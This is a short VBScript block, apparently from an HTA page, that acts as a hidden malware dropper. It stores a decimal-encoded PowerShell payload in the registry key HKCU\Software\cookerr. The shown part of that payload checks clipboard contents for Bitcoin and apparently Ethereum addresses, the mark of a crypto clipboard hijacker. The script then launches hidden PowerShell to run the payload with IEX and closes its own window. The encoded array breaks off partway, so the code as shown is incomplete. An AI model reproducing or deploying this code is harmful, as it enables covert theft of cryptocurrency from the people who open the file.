<script language="VBScript">
GetObject(StrReverse("B0A85DF40C00-9BDA-0D11-0FC1-22CD539F:wen")).regwrite "HKCU\Software\cookerr", "$kinkiii=@(102,117,110,099,116,105,111,110,032,105,115,066,105,116,099,111,105,110,065,100,100,114,101,115,115,040,091,115,116,114,105,110,103,093,036,099,108,105,112,098,111,097,114,100,067,111,110,116,101,110,116,041,013,010,123,013,010,009,013,010,013,010,009,036,118,097,108,105,100,082,101,103,101,120,032,061,032,039,094,040,098,099,049,124,091,049,051,093,041,091,097,045,122,065,045,072,074,045,078,080,045,090,048,045,057,093,123,050,054,044,051,053,125,036,039,013,010,009,105,102,040,036,099,108,105,112,098,111,097,114,100,067,111,110,116,101,110,116,032,045,099,110,111,116,109,097,116,099,104,032,036,118,097,108,105,100,082,101,103,101,120,041,013,010,009,123,013,010,009,009,114,101,116,117,114,110,032,036,102,097,108,115,101,013,010,009,125,013,010,013,010,009,114,101,116,117,114,110,032,036,116,114,117,101,013,010,125,013,010,035,101,116,104,013,010,013,010,102,117,110,099,116,105,111,110,032,105,115,
Const HIDDEN_WINDOW = 0
strComputer = "."
Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")
errReturn = objProcess.Create( "powershell.exe ((gp HKCU:\Software).cookerr)|IEX", null, objConfig, intProcessID)
Window.ReSizeTo 0, 0
self.close
</script>